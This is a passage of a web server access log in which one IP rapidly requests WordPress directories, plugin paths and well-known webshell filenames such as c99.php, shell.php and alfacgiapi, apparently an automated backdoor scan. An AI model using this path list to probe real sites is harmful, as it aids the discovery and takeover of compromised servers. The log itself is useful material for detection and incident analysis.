/wp-includes/interactivity-api/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:17:07 -0400] "GET /wp-admin/network/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:17:07 -0400] "GET /wp-includes/js/tinymce/plugins/image/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:17:08 -0400] "GET /wp-includes/Requests/Response/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:17:08 -0400] "GET /wp-includes/SimplePie/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:17:09 -0400] "GET /files/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:17:10 -0400] "GET /wp-includes/Text/Diff/Engine/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:17:10 -0400] "GET /wp-includes/SimplePie/HTTP/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:17:11 -0400] "GET /wp-content/uploads/2023/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:17:11 -0400] "GET /wp-content/plugins/woocommerce/includes/gateways/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:17:12 -0400] "GET /wp-admin/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:17:12 -0400] "GET /wp-content/fonts//wp-content/fonts/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:17:13 -0400] "GET /images/icons/rouyg/hppd/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:17:13 -0400] "GET /wp-includes/blocks/freeform/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:17:14 -0400] "GET /wp-content/plugins/insert-headers-and-footers/includes/auto-insert/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:17:14 -0400] "GET /wp-content/upgrade/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:17:15 -0400] "GET /wp-content/themes/twentytwenty/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:17:15 -0400] "GET /wp-content/plugins/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:17:16 -0400] "GET /wp-includesmaps/p/snippets/g8ofh3h3db/raw/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:17:17 -0400] "GET /wp-content/plugins/file-manager-advanced/application/library/codemirror/mode/jsx/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:17:17 -0400] "GET /templates/ja_purity/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:17:18 -0400] "GET /wp-admin/css/colors/light/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:17:18 -0400] "GET /cgi-bin/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:17:19 -0400] "GET /wp-includes/assets/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:17:19 -0400] "GET /wp-admin/css/colors/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:17:20 -0400] "GET /wp-content/plugins/generateblocks/src/components/unit-picker/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:17:20 -0400] "GET /wp-includesmaps/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:17:21 -0400] "GET /wp-include.php HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:17:21 -0400] "GET /wp-includes/css/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:17:22 -0400] "GET /sos/NewTheme/images/VillagesPictures/Dhodial/Dhodial/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:17:23 -0400] "GET /wp-includes/css/dist/block-library/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:17:23 -0400] "GET /wp-admin/css/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:17:24 -0400] "GET /wp-includes/block-supports/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:17:24 -0400] "GET /wp-includes/certificates/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:17:25 -0400] "GET /wp-content/plugins/bdthemes-element-pack/modules/review-card/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:17:25 -0400] "GET /wp-content/plugins/w3-total-cache/lib/Aws/Aws/Api/Parser/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:17:26 -0400] "GET /assets/css/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:17:27 -0400] "GET /wp-content/themes/twentytwentyfive/styles/sections/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:17:27 -0400] "GET /wp-includes/js/tinymce/utils/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:17:28 -0400] "GET /wp-includes/blocks/file/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:17:28 -0400] "GET /wp-content/themes/astra/inc/modules/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:17:29 -0400] "GET /wp-mai.php HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:17:29 -0400] "GET /wp-taglin.php HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:17:30 -0400] "GET /wp-editor.php HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:17:31 -0400] "GET /wp-content/themes/twentytwentyfour/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:17:31 -0400] "GET /wp-includes/js/tinymce/plugins/wpeditimage/wpeditimage/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:17:32 -0400] "GET /wp-content/plugins/wp-table-builder/inc/core/freemius/assets/img/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:17:32 -0400] "GET /wp-activat.php HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:17:33 -0400] "GET /wp-includes/blocks/embed/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:17:33 -0400] "GET /wp-content/plugins/revslider/public/assets/js/libs/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:17:34 -0400] "GET /wp-includes/css/dist/customize-widgets/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:17:34 -0400] "GET /.well-known/pki-validation/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:17:35 -0400] "GET /wp-content/plugins/pro-elements/modules/notes/database/query/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:17:35 -0400] "GET /wp-content/languages/themes//wp-content/languages/themes/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:17:36 -0400] "GET /wp-content/plugins/elementor/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:17:36 -0400] "GET /templates/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:17:37 -0400] "GET /wp-content/plugins/js_composer/include/params/options/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:17:37 -0400] "GET /wp-content/plugins/woocommerce/packages/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:17:38 -0400] "GET /backup/wp-content/themes/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:17:39 -0400] "GET /images/headers/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:17:39 -0400] "GET /wp-content/themes/twentytwentythree/parts/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:17:40 -0400] "GET /wp-content/uploads/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:17:40 -0400] "GET /wp-includes/css/dist/block-library/action/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:17:41 -0400] "GET /wp-includes/SimplePie/Content/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:17:41 -0400] "GET /wp-includes/js/imgareaselect/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:17:42 -0400] "GET /wp-content/plugins/not/includes/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:17:42 -0400] "GET /wp-admin/plugins/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:17:43 -0400] "GET /about/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:17:43 -0400] "GET /wp-includes/js/tinymce/plugins/hr/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:17:44 -0400] "GET /wordpress/wp-includes/sodium_compat/src/Core32/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:17:44 -0400] "GET /wp-content/td/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:17:45 -0400] "GET /about/b/home/iune/www/about/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:17:45 -0400] "GET /wp-includes/js/tinymce/skins/lightgray/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:17:46 -0400] "GET /wp-content/plugins/revslider/admin/assets/images/navigationeditor/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:17:47 -0400] "GET /classwithtostrin.php/rbzccnn.php/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:17:47 -0400] "GET /wp-content/upgrade-temp-backup/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:17:48 -0400] "GET /wp-content/plugins/wpforms-lite/templates/admin/empty-states/payments/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:17:48 -0400] "GET /wp-includes/js/tinymce/plugins/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:17:49 -0400] "GET /wp-includes/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:17:49 -0400] "GET /wp-includes/blocks/comment-template/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:17:50 -0400] "GET /wp-includes/css/dist/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:17:50 -0400] "GET /wp-content/themes/twentytwentytwo/styles/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:17:51 -0400] "GET /wp-content/plugins/ioxi/ioxi/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:17:51 -0400] "GET /wp-includes/images/media/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:17:52 -0400] "GET /wp-content/themes/listdo/inc/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:17:52 -0400] "GET /.well-known/acme-challenge/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:17:53 -0400] "GET /wp-includes/rest-api/endpoints/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:17:53 -0400] "GET /wp-includes/Requests/library/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:17:54 -0400] "GET /http:/gracecommunications.church/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:17:55 -0400] "GET /wp-includes/IXR/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:17:55 -0400] "GET /wp-includes/style-engine/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:17:56 -0400] "GET /wp-content/plugins/wp-rocket/inc/admin/ui/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:17:56 -0400] "GET /wp-admin/css/colors/blue/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:17:57 -0400] "GET /wp-includes/blocks/calendar/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:17:58 -0400] "GET /wp-includes/ID3/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:17:58 -0400] "GET /wp-includes/js/tinymce/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:17:59 -0400] "GET /wp-admin/user/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:17:59 -0400] "GET /wp-content/x/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:18:00 -0400] "GET /wp-includes/blocks/block/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:18:00 -0400] "GET /wp-admin/js/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:18:01 -0400] "GET /wp-admin/sr/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:18:01 -0400] "GET /wp-includes/Text/Diff/Engine/require/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:18:02 -0400] "GET /.well-known/pki-validation/wp-admin/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:18:02 -0400] "GET /index/sr HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:18:03 -0400] "GET /wp-content/updraft/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:18:04 -0400] "GET /wp-content/plugins/Duplicatepost/src/ui/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:18:04 -0400] "GET /wp-includes/css/dist/list-reusable-blocks/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:18:05 -0400] "GET /wp-content/uploads//wp-content/uploads/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:18:06 -0400] "GET /wp-includes/Text/Diff/Engine/Engine/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:18:06 -0400] "GET /wp-content/plugins/smartmag-core/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:18:07 -0400] "GET /wp-admin/css/colors/ectoplasm/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:18:07 -0400] "GET /wp-includes/customize/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:18:08 -0400] "GET /wp-content/plugins/jetpack/_inc/build/shortcodes/js/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:18:09 -0400] "GET /wp-includes/Text/Diff/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:18:09 -0400] "GET /wp-content/uploads/2022/07/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:18:10 -0400] "GET /wp-admin/includes/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:18:10 -0400] "GET /wp-includes/css/dist/components/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:18:11 -0400] "GET /wp-includes/js/tinymce/plugins/wpview/wp/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:18:11 -0400] "GET /assets/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:18:12 -0400] "GET /wp-content/fonts/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:18:12 -0400] "GET /wp-includes/js/tinymce/skins/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:18:13 -0400] "GET /wp-content/languages/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:18:14 -0400] "GET /wp-includes/blocks/group/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:18:14 -0400] "GET /wp-includes/Requests/Proxy/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:18:15 -0400] "GET /wp-includes/SimplePie/Cache/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:18:15 -0400] "GET /sec/core/tests/Drupal/FunctionalTests/Hal/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:18:16 -0400] "GET /.well-known/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:18:17 -0400] "GET /wp-admin/js/widgets/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:18:17 -0400] "GET /wp-content/plugins/jet-engine/includes/components/glossaries/assets/css/admin/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:18:18 -0400] "GET /wp-content/plugins/all-in-one-seo-pack/vendor_prefixed/psr/log/Psr/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:18:18 -0400] "GET /wp-includes/Text/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:18:19 -0400] "GET /wp-admin/maint/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:18:19 -0400] "GET /wp-content/plugins/elementor/core/admin/ui/components/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:18:20 -0400] "GET /wp-content/uploads/2023/05/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:18:20 -0400] "GET /wp-content/languages/themes/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:18:21 -0400] "GET /.well-known HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:18:21 -0400] "GET /.well-known/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:18:22 -0400] "GET /.well-known/config HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:18:23 -0400] "GET /.well-known/pki-validation/file.php HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:18:23 -0400] "GET /.well-known/pki-validation/top.php HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:18:24 -0400] "GET /12.php HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:18:24 -0400] "GET /NewFile.php HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:18:25 -0400] "GET /Public/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:18:25 -0400] "GET /a.php HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:18:26 -0400] "GET /about/function.php HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:18:26 -0400] "GET /admin.php HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:18:27 -0400] "GET /admin/editor/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:18:27 -0400] "GET /api.php HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:18:28 -0400] "GET /app/wp-content/plugins/fix/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:18:28 -0400] "GET /backup/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:18:29 -0400] "GET /bak.php HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:18:29 -0400] "GET /blog.php HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:18:30 -0400] "GET /blog/blog.php HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:18:31 -0400] "GET /c.php HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:18:31 -0400] "GET /c99.php HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:18:32 -0400] "GET /classsmtps.php HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:18:32 -0400] "GET /classwithtostring.php HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:18:33 -0400] "GET /comfunctions.php HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:18:33 -0400] "GET /contact.php HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:18:34 -0400] "GET /content.php HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:18:34 -0400] "GET /credits.php HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:18:35 -0400] "GET /css/colors/coffee/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:18:36 -0400] "GET /css/index.php HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:18:36 -0400] "GET /default.php HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:18:37 -0400] "GET /dropdown.php HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:18:37 -0400] "GET /error.php HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:18:38 -0400] "GET /f.php HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:18:38 -0400] "GET /favicon.php HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:18:39 -0400] "GET /footer.php HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:18:39 -0400] "GET /function.php HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:18:40 -0400] "GET /gel4y.php HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:18:40 -0400] "GET /goods.php HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:18:41 -0400] "GET /header.php HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:18:41 -0400] "GET /hehe.php HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:18:42 -0400] "GET /home.php HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:18:42 -0400] "GET /index.php HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:18:43 -0400] "GET /inputs.php HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:18:44 -0400] "GET /jquery.php HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:18:44 -0400] "GET /libraries/php HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:18:45 -0400] "GET /lock360.php HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:18:45 -0400] "GET /login HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:18:46 -0400] "GET /lufix.php HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:18:46 -0400] "GET /mah.php HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:18:47 -0400] "GET /mah/function.php HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:18:47 -0400] "GET /mail.php HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:18:48 -0400] "GET /maintenance.php HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:18:48 -0400] "GET /news.php HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:18:49 -0400] "GET /nf_tracking.php HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:18:49 -0400] "GET /ova-tools.php HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:18:50 -0400] "GET /pi.php HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:18:51 -0400] "GET /plugins/custom/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:18:51 -0400] "GET /post.php/wp-includes/Requests/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:18:52 -0400] "GET /shell.php HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:18:52 -0400] "GET /shellv3.php HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:18:53 -0400] "GET /simple.php HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:18:53 -0400] "GET /sx.php HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:18:54 -0400] "GET /system.php HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:18:55 -0400] "GET /system_log.php HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:18:56 -0400] "GET /test.php HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:18:56 -0400] "GET /text.php HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:18:57 -0400] "GET /upload.php HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:18:57 -0400] "GET /upload/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:18:58 -0400] "GET /vendor/bin/loader.php/wp-admin/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:18:58 -0400] "GET /worksec.php HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:18:59 -0400] "GET /wp-2019.php HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:18:59 -0400] "GET /wp-admin HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:19:00 -0400] "GET /wp-admin/admin.php HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:19:01 -0400] "GET /wp-admin/css/about.php/alfacgiapi/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:19:01 -0400] "GET /wp-admin/css/colors/blue/atomlib.php HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:19:02 -0400] "GET /wp-admin/css/colors/blue/index.php HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:19:02 -0400] "GET /wp-admin/images/admin.php HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:19:03 -0400] "GET /wp-admin/images/atomlib.php HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:19:03 -0400] "GET /wp-admin/images/install.php HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:19:04 -0400] "GET /wp-admin/images/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:19:04 -0400] "GET /wp-admin/images/wp-settings.phtml HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:19:05 -0400] "GET /wp-admin/install.php HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:19:06 -0400] "GET /wp-admin/js/index.php HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:19:07 -0400] "GET /wp-admin/maint/about.php HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:19:07 -0400] "GET /wp-admin/setup-config.php HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:19:08 -0400] "GET /wp-admin/user/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:19:09 -0400] "GET /wp-admin/x.php HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:19:09 -0400] "GET /wp-atom.php HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:19:10 -0400] "GET /wp-blog.php HTTP/1.1" 301 795 